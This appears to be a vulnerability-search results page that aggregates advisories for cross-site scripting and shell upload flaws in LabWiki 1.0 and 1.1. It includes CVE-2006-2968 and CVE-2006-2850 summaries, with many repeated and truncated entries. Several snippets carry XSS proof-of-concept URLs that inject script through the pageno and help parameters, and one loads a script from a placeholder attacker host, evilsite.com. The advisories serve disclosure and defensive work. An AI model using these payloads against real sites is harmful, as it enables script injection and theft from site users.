LabWiki Multiple Cross-site Scripting (XSS) and Shell Upload Vulnerabilities

LabWiki is prone to multiple cross-site scripting and shell upload vulnerabilities. SPDX-FileCopyrightText: 2011 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescripti...

LabWiki 1.1 Cross Site Scripting / Shell Upload

------------------------------------------------------------------------ LabWiki alert'muuratsalo'&help=true&page=Whatiswiki http://localhost/LabWiki/recentchanges.php?nothing=nothing&pageno="alert'muuratsalo'...

labwiki 1.1 - Multiple Vulnerabilities

labwiki 1.1 - Multiple Vulnerabilities ------------------------------------------------------------------------ LabWiki alert'muuratsalo'&help=true&page=Whatiswiki http://localhost/LabWiki/recentchanges.php?nothing=nothing&pageno="alert'muuratsalo'...

labwiki 1.1 - Multiple Vulnerabilities

------------------------------------------------------------------------ LabWiki alert'muuratsalo'&help=true&page=Whatiswiki http://localhost/LabWiki/recentchanges.php?nothing=nothing&pageno="alert'muuratsalo'...

LabWiki <= 1.1 Multiple Vulnerabilities

Exploit for php platform in category web applications ------------------------------------------------------------------------ LabWiki alert'muuratsalo'&help=true&page=Whatiswiki http://localhost/LabWiki/recentchanges.php?nothing=nothing&pageno="alert'muuratsalo' 0day.today 2018-01-03...

CVE-2006-2968

Cross-site scripting XSS vulnerability in search.php in PHP Labware LabWiki 1.0 allows remote attackers to inject arbitrary web script or HTML via the search input box query parameter...

Cross site scripting

Cross-site scripting XSS vulnerability in search.php in PHP Labware LabWiki 1.0 allows remote attackers to inject arbitrary web script or HTML via the search input box query parameter...

CVE-2006-2968

CVE-2006-2968 affects PHP Labware LabWiki 1.0. The vulnerability is in search.php where the query parameter used by the search input box can be exploited to inject arbitrary web script/HTML (XS S). Root cause: improper input handling in the search parameter. Impact: remote attacker could execute ...

CVE-2006-2968

Cross-site scripting XSS vulnerability in search.php in PHP Labware LabWiki 1.0 allows remote attackers to inject arbitrary web script or HTML via the search input box query parameter...

Cross site scripting

Cross-site scripting XSS vulnerability in recentchanges.php in PHP Labware LabWiki 1.0 and earlier allows remote attackers to inject arbitrary web script or HTML via the help parameter...

CVE-2006-2850

Cross-site scripting XSS vulnerability in recentchanges.php in PHP Labware LabWiki 1.0 and earlier allows remote attackers to inject arbitrary web script or HTML via the help parameter...

CVE-2006-2850

Cross-site scripting XSS vulnerability in recentchanges.php in PHP Labware LabWiki 1.0 and earlier allows remote attackers to inject arbitrary web script or HTML via the help parameter...

LabWiki v1.0

LabWiki 1.0 Homepage: http://www.bioinformatics.org/phplabware/labwiki/index.php Effected files: search.php The search input box does not sanatize user input before dynamically genrating it. XSS Proof of concept: "SCRIPT SRC=http://evilsite.com/xss.js/SCRIPT"...